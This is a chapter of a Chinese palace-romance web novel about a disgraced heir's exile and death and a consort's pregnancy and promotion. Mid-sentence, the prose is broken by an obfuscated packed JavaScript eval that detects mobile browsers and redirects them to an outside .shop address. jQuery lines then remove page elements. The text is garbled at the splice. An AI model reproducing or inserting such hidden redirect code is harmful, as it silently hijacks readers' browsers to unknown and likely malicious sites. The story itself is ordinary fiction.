赵远跪在养心殿冰凉的金砖上，额头贴着地面，听见皇帝的声音从头顶落下来。
“忠勇侯世子赵远，弃军而逃，欺君罔上，罪不可赦。念其带回边关布防图，有功，饶其不死。夺世子爵位，贬为庶人，发配凉州，终身不得回京。”
“朕要你替那枉死的两千七百名将士守坟去，用余生赎罪。”
殿内安静了一瞬。赵远跪在地上，像被人抽去了脊梁骨，浑身发软。他猛地抬起头，看向跪在身边的父亲，眼睛里全是不可置信的光芒。
赵恒没有看他，低着头看不清表情。
他忽然想起，方才皇帝说“忠勇侯再立世子的请求，朕已经收到了”。也就是说，他的父亲，在他回来之前就已经请立了新的世子。
他被放弃了。
萧衍看着他，目光淡淡的，像在看一件无关紧要的东西。
“你父亲比你识时务。”他的声音不大，却每一个字都像钉子钉进赵远的脑子里，“退下吧。”
赵远跪在地上，浑身发抖，想说点什么，嘴唇哆嗦了半天，一个字都没吐出来。
赵恒站起身，朝皇帝行了一礼，扶起赵远半拖着退了出去。殿门在他们身后合拢，赵远强撑的那口气像是被人抽走了，双腿一软，瘫坐在了地上，脊背靠着冰冷的宫墙，像一条被拍上岸的鱼，张着嘴，却喘不上气。
就在这时，他听见了那个声音。
“陛下，英明神武。”
不是很大，却清清楚楚，从殿门内传出来。女人的声音，柔软的，带着一丝笑意，像三月的春风拂过湖面。是沈清栀。
赵远的瞳孔猛地一缩，浑身的血像是被抽空了一般，脑子里“嗡”的一声。
回家没有看见沈氏，父亲告诉他，沈氏是自愿离开赵家的，赵家厚道，主动放她一条生路。他那时候无心纠结儿女之事，只一心担忧自己的前程。
他忽然想起了方才那顶青帷小轿，那个身着华服的宫装美人，那截白得近乎透明的脖颈。原来真的是她。
赵远瘫坐在地上，像一条被晒干的咸鱼，嘴巴一张一合，什么声音都发不出来。赵恒低头看着他，那张刻板的脸上终于有了一丝裂痕——不是心疼，是嫌恶。
“起来。”赵恒的声音冷得像淬了冰，“别在这里丢人现眼。”
赵远被父亲拖着，踉踉跄跄地走出了宫巷。
宫门外，马车已经等着了。赵恒将他扔上车，自己坐在一旁，闭着眼睛，一言不发。赵远蜷缩在车厢角落里，像一只被遗弃的狗，眼神空洞，嘴唇干裂，眉骨上那道刀疤在青白的脸上显得格外狰狞。
马车驶过长街，市井的喧嚣隔着车帘传进来，小贩的叫卖声、孩童的嬉闹声、茶馆里说书先生的惊堂木声，一切都那么鲜活，一切都与他无关。
赵远忽然开口了，声音沙哑得几乎听不清：“父亲，为什么？为什么要这么对我？”
赵恒没有睁眼。
“您为什么要请立新的世子？您为什么要替我和离？您为什么要——”他没有说下去，因为他不知道该问什么。问得太多了，多到他自己都不知道从哪里开始。
赵恒终于睁开了眼睛，看了他一眼。那一眼里没有愤怒，没有心疼，只有一种深不见底的疲惫。
“你以为，赵家是怎么活下来的？”
赵远大惊。
“你们竟然卖妇求荣。”
赵恒：“放肆。”一巴掌打到了赵远脸上。
“若不是你违背誓言在先，在边关搞出什么私生子，沈氏又岂会对你心生怨怼？”
“私生子？这跟私生子有什么关系？”赵远不解。
“我开始也不明白，直到皇帝宁愿让我去旁支过继，也不准让我将你的孩子立为世子，我就懂了，皇帝这是在替沈氏出气呢。”
“竟是如此吗？”赵远喃喃道，脸上的表情似笑又哭。
“这个贱人。”
“啪。”
赵恒毫不留情的又一巴掌打了过去：“你再管不住自己这张嘴，就要死自己去死。”
赵远不再开口，眼神空洞又麻木。
赵远疯了，从京城到凉州，三千多里路，他走了一个多月。
出京的时候还算正常，只是沉默寡言，不跟任何人说话。过了潼关，他开始自言自语，絮絮叨叨的，押送的兵丁听不清他在说什么，只看见他嘴唇不停地动，像在念经，又像在跟什么人吵架。
过了凉州，他彻底不说话了。不吃不喝，不眠不休，只是睁着眼睛，望着车窗外茫茫的戈壁，眼神空洞得像两口枯井。
抵达凉州的第三天，赵远死了。
消息传回京城的时候，已经是半个月后了。那是一个秋日的午后，天气不冷不热，窗外的银杏叶刚开始泛黄。萧衍正在长乐宫陪沈清栀下棋，午后的日光从雕花窗棂里漏进来，落在棋盘上，将黑白子照得晶莹剔透。
萧衍执黑，沈清栀执白。从前沈清栀总是下不过萧衍，她的棋风太软，瞻前顾后，舍不得攻，守又守不住，每每被萧衍杀得片甲不留。这几年她倒是长进了不少，萧衍政务繁忙，不再像从前那样整日泡在棋盘上。此消彼长，两人倒是能下得有来有回了。
刘培从殿外走进来，脚步很轻，像怕惊动什么。他走到萧衍身侧，弯下腰，压低声音说了几句话。萧衍捏着棋子的手顿了一下，侧目看了他一眼。刘培点了点头，表示消息确凿。
萧衍的目光移向对面的沈清栀——她正低着头，专注地看着棋盘，眉心微微蹙着，手指捏着一枚白子，在指间转来转去，迟迟没有落子。秋日的阳光落在她脸上，将她的侧脸镀上了一层薄薄的金色，睫毛的影子投在颧骨上，像两把小小的扇子。
萧衍挥了挥手，刘培便无声无息地退了下去，像来时一样轻，连殿门关上的声音都几不可闻。
“臣妾想好了。”沈清栀终于落子了。
萧衍：“嗯，这步不错。”
何必让那些不重要的人和事，扰乱了他们今日的情致呢。
————
沈清栀是在来年夏天发现自己怀孕的。
那阵子她总是犯困，胃口也差，从前爱吃的桂花糕闻见就反胃，倒是酸梅汤喝了一碗又一碗。翠屏瞧着不对劲，偷偷请了太医来诊脉。太医的手指搭上去不过片刻，便跪了下来，满脸喜色：“恭喜娘娘，是喜脉。”
沈清栀怔了一下，低头看着自己尚且平坦的小腹，手指轻轻覆上去，有些恍惚。她盼了那么久，盼到几乎不敢再盼了，它反倒悄无声息地来了，像春天里第一场雨，落下来的时候，连声音都没有。
萧衍是批完折子过来的，进门的时候还在跟刘培说什么事，语气不大好，像是在发火。
沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601666|202757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清栀从榻上站起来，走到他面前，拉过他的手，放在自己的小腹上，没有说话。萧衍愣了一下，手指在她小腹上停了一瞬，随即猛地抬起头，那双琥珀色的眼睛里翻涌着她从未见过的光。
“真的？”他的声音有些发紧。
沈清栀点了点头。萧衍一把将她抱了起来，在殿内转了一圈，吓得翠屏惊呼出声，刘培赶紧跪了下去。
沈清栀被他转得头晕，拍着他的肩膀让他放下来，他不肯，又转了一圈才放下，额头抵着她的额头，鼻尖碰着她的鼻尖，呼吸又急又重，像跑了一段很远的路。“朕要封你做皇后。”他的声音不大，却每一个字都笃定得像钉子钉进木头里。
沈清栀觉得有点操之过急，但是也不忍心打击他。
果然，隔日，萧衍去慈宁宫请安，提了封后的事。太后正歪在软榻上喝燕窝粥，闻言放下银匙，拿起帕子擦了擦嘴角，不紧不慢的。
“皇帝急什么？孩子还没生下来呢。”
萧衍跪了下来。“母后，儿臣答应过她。”
太后看了他一眼，目光淡淡的。“哀家没说不让你封。只是——”她顿了一下，捻了捻佛珠，“孩子还没落地，什么事都有个万一。你先给她升贵妃，该给的体面一样不少。等孩子平平安安生下来，再封后不迟。就当是给孩子积福了。”
只是缓几个月，萧衍妥协了：“儿臣……遵旨。”
懿旨是三月初九下的。昭妃沈氏，晋封贵妃，赐号“懿”。懿，美德也，专以旌德，非寻常妃嫔可得的尊号。懿旨颁下的那一天，六宫震动。
张贵妃——不，现在不能叫贵妃了，沈清栀封了贵妃，她就成了张妃。她在自己的宫里坐了一整天，没有摔东西，没有哭，只是坐在窗前看着院子里的玉兰花，一朵一朵地落。
她早就无宠了，在这宫里不过是挨过一日算一日。
春茶端了茶来，她没接，春茶小心翼翼地放在桌上，退到一旁。
她以前只以为皇帝是个心冷清冷的人，对所有人都是一样的，只要她耐心些，就能暖化那一颗心。
现在看来，那一颗心早就有了归宿。
晚上萧衍来了，一进门就看见沈清栀坐在妆奁台前。他走过去，将手里的簪子簪到她头上，从背后环住她的肩，下巴抵着她的发顶，两个人就这么静静地在铜镜里对视。
“懿贵妃。”他叫她的封号，声音低低的，带着一丝笑意，“喜欢吗？”
沈清栀看着铜镜里两个人依偎在一起的影子，嘴角弯了一下。“陛下给的，都喜欢。”
萧衍笑了一声，将她转过来，面对着自己，双手捧着她的脸，拇指轻轻摩挲着她的颧骨。“朕跟你说件事。”他的声音忽然认真了起来，认真到沈清栀的笑容也收了几分。
“若是个男孩，”他的目光落在她的小腹上，又移回她的眼睛，“朕就封他做太子。让你哥哥做太子太傅。你的父亲是朕的太傅，你的兄长是朕儿子的太傅——清栀，你说，这是不是天意？”
沈清栀低下头，将脸埋进萧衍的胸口，声音闷闷的，带着一丝哽咽：“陛下，臣妾想爹了。”
萧衍没有接话，只是将她抱得更紧了一些，下巴抵着她的发顶，闭上眼睛。窗外的月光穿过雕花窗棂，落在两个人相拥的身影上，将他们的影子投在墙上，长长的一条，像一幅墨迹未干的水墨画。